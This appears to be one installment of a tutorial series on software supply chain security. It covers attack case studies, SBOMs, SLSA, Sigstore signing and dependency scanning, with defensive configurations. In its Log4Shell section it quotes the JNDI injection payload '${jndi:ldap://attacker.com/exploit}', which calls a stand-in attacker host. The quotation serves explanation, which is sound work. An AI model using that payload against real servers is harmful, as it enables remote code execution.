Introduction
The software supply chain is everything that happens between a developer writing code and that code running in production: source control, dependencies, build systems, package registries, container images, deployment pipelines, and runtime environments. Every link in this chain is an attack surface.
Modern applications are overwhelmingly composed of third-party code. The average Node.js application has 1,000+ transitive dependencies. A typical Java enterprise application pulls in 200+ JAR files. A Python ML pipeline imports 50+ packages each with their own dependency trees. You are not just shipping your code — you are shipping an entire ecosystem.
Why Supply Chain Security Is Critical Now
Three converging trends have made supply chain attacks the dominant threat vector:
- Scale of dependency — modern apps are 80-95% third-party code
- Trust by default — developers install packages without auditing them
- Automation — CI/CD pipelines execute code automatically with elevated privileges
- Transitive risk — a vulnerability in a dependency's dependency affects you
npm install or pip install, you are executing arbitrary code from strangers on the internet with your user's permissions. Package install scripts can read your environment variables, SSH keys, and cloud credentials. This is the fundamental security model flaw that supply chain attacks exploit.
Anatomy of Supply Chain Attacks
Supply chain attacks target the trust relationships between components. Instead of attacking your application directly, adversaries compromise something you trust — a library, a build tool, a CI service — and use that trust to reach your systems.
| Attack Vector | How It Works | Example |
|---|---|---|
| Compromised dependency | Malicious code injected into a legitimate package | event-stream (2018) |
| Build system tampering | Attacker modifies the build pipeline to inject malware | SolarWinds (2020) |
| Registry poisoning | Uploading malicious packages with similar names | Typosquatting (ongoing) |
| Typosquatting | Publishing packages with names similar to popular ones | "crossenv" vs "cross-env" on npm |
| Account takeover | Compromising a maintainer's credentials | ua-parser-js (2021) |
| CI/CD exploitation | Compromising CI scripts to exfiltrate secrets | CodeCov (2021) |
| Dependency confusion | Publishing public packages that shadow private ones | Alex Birsan research (2021) |
Case Studies
SolarWinds (2020)
The SolarWinds attack is the most sophisticated supply chain compromise ever publicly documented. Russian intelligence (SVR) infiltrated SolarWinds' build system and injected malware (SUNBURST) into the Orion platform update. The trojanized update was signed with SolarWinds' legitimate certificate and distributed to 18,000 organisations including the US Treasury, Department of Homeland Security, and Fortune 500 companies.
flowchart TD
A[Attacker compromises
SolarWinds build system] --> B[Malicious code injected
during compilation]
B --> C[Trojanized DLL included
in signed update package]
C --> D[18,000 organisations
install update]
D --> E[SUNBURST backdoor
activates after 2 weeks]
E --> F[C2 communication via
DNS to attacker infrastructure]
F --> G[Lateral movement to
high-value targets]
style A fill:#BF092F,color:#fff
style B fill:#BF092F,color:#fff
style C fill:#132440,color:#fff
style D fill:#132440,color:#fff
style E fill:#16476A,color:#fff
style F fill:#16476A,color:#fff
style G fill:#16476A,color:#fff
Key lessons:
- Build systems are high-value targets — they have access to signing keys and distribution channels
- Code signing alone does not guarantee integrity — the malware was signed with a legitimate certificate
- Detection took 9 months — the attack was discovered by FireEye, not SolarWinds
- Reproducible builds would have caught the discrepancy between source code and binary
Log4Shell (2021)
CVE-2021-44228 (Log4Shell) was a critical remote code execution vulnerability in Apache Log4j 2, a ubiquitous Java logging library. A specially crafted log message could trigger JNDI lookup, allowing attackers to execute arbitrary code on any server running Log4j.
Why it was catastrophic:
- Log4j is a transitive dependency — most organisations did not know they had it
- It appeared in thousands of products: Minecraft servers, Apple iCloud, Elasticsearch, VMware
- Exploitation was trivial:
${jndi:ldap://attacker.com/exploit}in any logged field - Many organisations needed weeks to identify all affected systems because they had no SBOM
event-stream (2018)
A social engineering attack on open source maintainers. The attacker befriended the burnt-out maintainer of event-stream (a popular npm package with 2M weekly downloads), gradually gained commit access, then injected code targeting a specific Bitcoin wallet application (Copay). The malicious code only activated in the Copay build environment, making detection extremely difficult.
Key lessons:
- Open source maintainers are single points of failure — many critical packages have one person
- Targeted supply chain attacks can be surgically precise
- npm's flat dependency resolution made the attack invisible to most consumers
CodeCov (2021)
Attackers modified CodeCov's Bash Uploader script (a CI integration used by thousands of projects) to exfiltrate environment variables from CI pipelines. Any project using the compromised script leaked secrets — API keys, tokens, credentials — to the attacker for over two months.
CodeCov — The CI Script That Stole Secrets
The CodeCov Bash Uploader was downloaded directly from CodeCov's servers into CI pipelines via curl | bash. When attackers modified the script, every CI run that downloaded it sent environment variables to an attacker-controlled server. Affected companies included Twitch, HashiCorp, Confluent, and potentially thousands more. The attack exploited a fundamental anti-pattern: downloading and executing unverified scripts from the internet in privileged CI environments. The fix: pin scripts by hash, vendor critical CI tools, verify checksums before execution.
SBOM (Software Bill of Materials)
An SBOM is a complete inventory of every component in your software — direct dependencies, transitive dependencies, their versions, licenses, and known vulnerabilities. It is the foundation of supply chain security: you cannot protect what you cannot see.
Why SBOMs Matter
- Vulnerability response — when Log4Shell hits, find all affected systems in minutes
- License compliance — ensure no GPL code in your proprietary product
- Regulatory requirements — US Executive Order 14028 mandates SBOMs for government software
- Supply chain transparency — know exactly what you are shipping
SBOM Formats
| Format | Organisation | Focus | Output |
|---|---|---|---|
| SPDX | Linux Foundation | License compliance + security | JSON, XML, RDF, Tag-Value |
| CycloneDX | OWASP | Security + vulnerability tracking | JSON, XML, Protocol Buffers |
# Generate SBOM with Syft (supports containers, filesystems, archives)
# From a container image:
syft packages myregistry.io/myapp:latest -o cyclonedx-json > sbom.json
# From a project directory:
syft packages ./my-project/ -o spdx-json > sbom-spdx.json
# Scan SBOM for known vulnerabilities with Grype:
grype sbom:./sbom.json
# Example output:
# NAME INSTALLED VULNERABILITY SEVERITY
# log4j-core 2.14.1 CVE-2021-44228 Critical
# jackson-core 2.12.3 CVE-2022-42003 High
# spring-web 5.3.8 CVE-2022-22965 Critical
{
"bomFormat": "CycloneDX",
"specVersion": "1.5",
"version": 1,
"metadata": {
"timestamp": "2026-05-13T10:30:00Z",
"tools": [{ "name": "syft", "version": "0.98.0" }],
"component": {
"type": "application",
"name": "my-service",
"version": "2.4.1"
}
},
"components": [
{
"type": "library",
"name": "express",
"version": "4.18.2",
"purl": "pkg:npm/express@4.18.2",
"licenses": [{ "license": { "id": "MIT" } }]
},
{
"type": "library",
"name": "lodash",
"version": "4.17.21",
"purl": "pkg:npm/lodash@4.17.21",
"licenses": [{ "license": { "id": "MIT" } }]
}
]
}
SLSA Framework
SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a security framework created by Google that defines increasing levels of supply chain integrity. It provides a checklist of standards and controls to prevent tampering, improve integrity, and secure packages and infrastructure.
flowchart TD
L0["Level 0: No guarantees
No provenance, no verification"] --> L1
L1["Level 1: Provenance exists
Build process documented"] --> L2
L2["Level 2: Hosted build
Signed provenance from hosted service"] --> L3
L3["Level 3: Hardened builds
Isolated, ephemeral build environments
Tamper-resistant provenance"]
style L0 fill:#666,color:#fff
style L1 fill:#3B9797,color:#fff
style L2 fill:#16476A,color:#fff
style L3 fill:#132440,color:#fff
| Level | Requirements | What It Prevents | Example Implementation |
|---|---|---|---|
| SLSA 1 | Build process exists and produces provenance | Undocumented builds, unknown origins | GitHub Actions with provenance output |
| SLSA 2 | Version-controlled build definition; hosted build service generates signed provenance | Tampered build scripts, unsigned artifacts | GitHub Actions with OIDC + Sigstore |
| SLSA 3 | Isolated, ephemeral build environments; non-falsifiable provenance; verified source | SolarWinds-style build compromise; insider threats | Google Cloud Build with SLSA3 builder |
Build Provenance
Provenance is a verifiable record of how an artifact was built — what source code was used, which builder ran, what parameters were set, and who triggered it. It answers: "Can I trace this binary back to its source?"
# GitHub Actions: Generate SLSA provenance
name: Build with SLSA Provenance
on:
push:
tags: ['v*']
jobs:
build:
runs-on: ubuntu-latest
permissions:
id-token: write # OIDC token for Sigstore
contents: read
attestations: write
steps:
- uses: actions/checkout@v4
- name: Build artifact
run: |
npm ci
npm run build
tar -czf dist.tar.gz ./dist/
- name: Generate SLSA provenance
uses: actions/attest-build-provenance@v1
with:
subject-path: dist.tar.gz
Dependency Management Security
Dependency management is the frontline of supply chain defence. Every package you install expands your attack surface. The goal is to minimise, verify, and continuously monitor your dependency tree.
Lock Files
Lock files (package-lock.json, yarn.lock, Pipfile.lock, go.sum) pin exact versions and integrity hashes. They ensure that npm install on CI produces the exact same dependency tree as on a developer's machine.
npm ci (not npm install) in CI pipelines. The ci command reads the lock file exactly and fails if it does not match package.json. The install command may update the lock file, introducing untested dependency versions.
Automated Dependency Updates
| Tool | Platform | Key Feature |
|---|---|---|
| Dependabot | GitHub | Native GitHub integration, security alerts, auto-merge for patch versions |
| Renovate | Any (self-hosted or cloud) | Highly configurable, grouping, scheduling, custom managers |
| Snyk | Any | Vulnerability-focused, fix PRs with explanations, monitoring |
# .github/dependabot.yml — Automated dependency updates
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
open-pull-requests-limit: 10
labels:
- "dependencies"
- "automated"
# Group minor/patch updates to reduce PR noise
groups:
production-dependencies:
patterns:
- "*"
update-types:
- "minor"
- "patch"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Vulnerability Scanning
# npm: Check for known vulnerabilities
npm audit --production
# Fix automatically where possible
npm audit fix
# Python: pip-audit (recommended over pip check)
pip-audit --requirement requirements.txt --strict
# Go: govulncheck (official Go vulnerability scanner)
govulncheck ./...
# Universal: Trivy for any project
trivy fs --scanners vuln ./
Signing & Verification
Digital signatures provide authenticity (this artifact was produced by who it claims) and integrity (it has not been modified since signing). The Sigstore project has revolutionised artifact signing by eliminating the need for long-lived keys.
The Sigstore Ecosystem
| Component | Purpose | Analogy |
|---|---|---|
| Cosign | Sign and verify container images and blobs | GPG for containers, but easier |
| Fulcio | Certificate authority — issues short-lived signing certificates | Let's Encrypt for code signing |
| Rekor | Transparency log — immutable record of all signing events | Certificate Transparency logs for artifacts |
Keyless signing is the breakthrough innovation: instead of managing long-lived private keys (which can be stolen), Sigstore uses OIDC identity (your GitHub/Google/Microsoft account) to issue ephemeral certificates valid for minutes. The signing event is recorded in Rekor's immutable transparency log, providing a permanent audit trail.
# Sign a container image with Cosign (keyless)
cosign sign myregistry.io/myapp:v2.4.1
# This triggers OIDC login → Fulcio issues certificate → Signs image → Records in Rekor
# Verify a signed image
cosign verify myregistry.io/myapp:v2.4.1 \
--certificate-identity=ci@myorg.com \
--certificate-oidc-issuer=https://token.actions.githubusercontent.com
# Sign a binary/artifact (blob signing)
cosign sign-blob --output-signature sig.txt ./dist/myapp-linux-amd64
# Verify the blob
cosign verify-blob --signature sig.txt \
--certificate-identity=ci@myorg.com \
--certificate-oidc-issuer=https://token.actions.githubusercontent.com \
./dist/myapp-linux-amd64
Secure Package Registries
Package registries (npm, PyPI, Maven Central, Docker Hub) are critical trust anchors. Securing how you consume packages from these registries — and how you publish to them — is essential.
Registry Security Strategies
- Private registries — host your own (Artifactory, Nexus, GitHub Packages) to control what is available
- Proxy registries — cache public packages through a proxy that scans for vulnerabilities on ingress
- Allow-lists — only permit pre-approved packages to be installed in CI
- Namespace reservation — register your organisation's name on public registries to prevent dependency confusion
- Two-factor auth — enforce 2FA for all package publishers
# .npmrc — Configure npm to use private registry with scoped packages
@myorg:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
# Prevent accidental publishing to public npm
# package.json: "publishConfig": { "registry": "https://npm.pkg.github.com/" }
@myorg/package), configure registry priorities, and reserve your namespace on public registries.
Runtime Protection
Even with perfect supply chain hygiene, compromised software may reach production. Runtime protections provide the final defence layer.
Kubernetes Admission Controllers
Admission controllers intercept requests to the Kubernetes API before objects are persisted. They can enforce policies like "only signed images" or "no containers running as root."
# Kyverno policy: Only allow signed container images
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: Enforce
background: false
rules:
- name: check-image-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "myregistry.io/*"
attestors:
- entries:
- keyless:
subject: "ci@myorg.com"
issuer: "https://token.actions.githubusercontent.com"
rekor:
url: "https://rekor.sigstore.dev"
Runtime Security Monitoring
- Falco (CNCF) — detects anomalous behaviour at runtime (unexpected network connections, file access, process execution)
- RBAC enforcement — principle of least privilege for service accounts
- Network policies — restrict pod-to-pod communication to only what is needed
- Read-only filesystems — prevent runtime modification of container contents
Building a Supply Chain Security Program
Supply chain security is not a single tool — it is a program that matures over time. Start with quick wins that provide immediate visibility, then progressively harden your pipeline.
flowchart LR
L1["Stage 1: Visibility
• SBOM generation
• Dependency inventory
• Lock file enforcement"] --> L2["Stage 2: Scanning
• Automated vuln scanning
• License compliance
• Secret detection"]
L2 --> L3["Stage 3: Enforcement
• Signed artifacts
• Admission control
• Policy-as-Code"]
L3 --> L4["Stage 4: Resilience
• SLSA Level 3
• Reproducible builds
• Runtime monitoring"]
style L1 fill:#3B9797,color:#fff
style L2 fill:#16476A,color:#fff
style L3 fill:#132440,color:#fff
style L4 fill:#BF092F,color:#fff
Quick Wins (Week 1)
- Enable
npm audit/pip-auditin CI (fail on critical vulnerabilities) - Configure Dependabot or Renovate for automated updates
- Enforce lock files in CI (
npm ciinstead ofnpm install) - Generate SBOMs for all production services
- Enable 2FA for all package registry accounts
Medium-Term (Month 1-3)
- Implement container image signing with Cosign
- Deploy admission controllers to enforce signed images
- Set up a private registry proxy with vulnerability scanning on ingress
- Pin GitHub Actions to commit SHAs (not tags)
- Implement SLSA Level 2 provenance generation
Google — SLSA and Binary Authorization
Google internally requires all production deployments to pass Binary Authorization — a system that verifies artifacts were built by authorised build systems, from audited source code, with proper code review. This is essentially SLSA Level 3+ enforced at deployment time. The system was developed in response to internal security analyses showing that build system compromise was the most impactful attack vector against their infrastructure. Google open-sourced the SLSA framework in 2021 to bring this protection to the wider industry.
Exercises
Conclusion & Next Steps
Software supply chain security is no longer optional — it is an existential concern. The attacks are real, the damage is catastrophic, and the industry is still catching up. The key takeaways:
- You ship an ecosystem, not just your code — 80-95% of your deployed software is third-party dependencies
- SBOMs are the foundation — you cannot secure what you cannot see
- SLSA provides the roadmap — progressive levels from basic provenance to hardened builds
- Sigstore removes the key management barrier — keyless signing makes artifact verification practical
- Defence in depth — scanning + signing + admission control + runtime monitoring
- Start with visibility — generate SBOMs, enable dependency scanning, enforce lock files today
Next in the Series
In Part 24: Secure CI/CD Pipelines, we apply supply chain security principles to the pipeline itself — secrets management, least-privilege CI runners, pipeline hardening, and protecting the build system from compromise.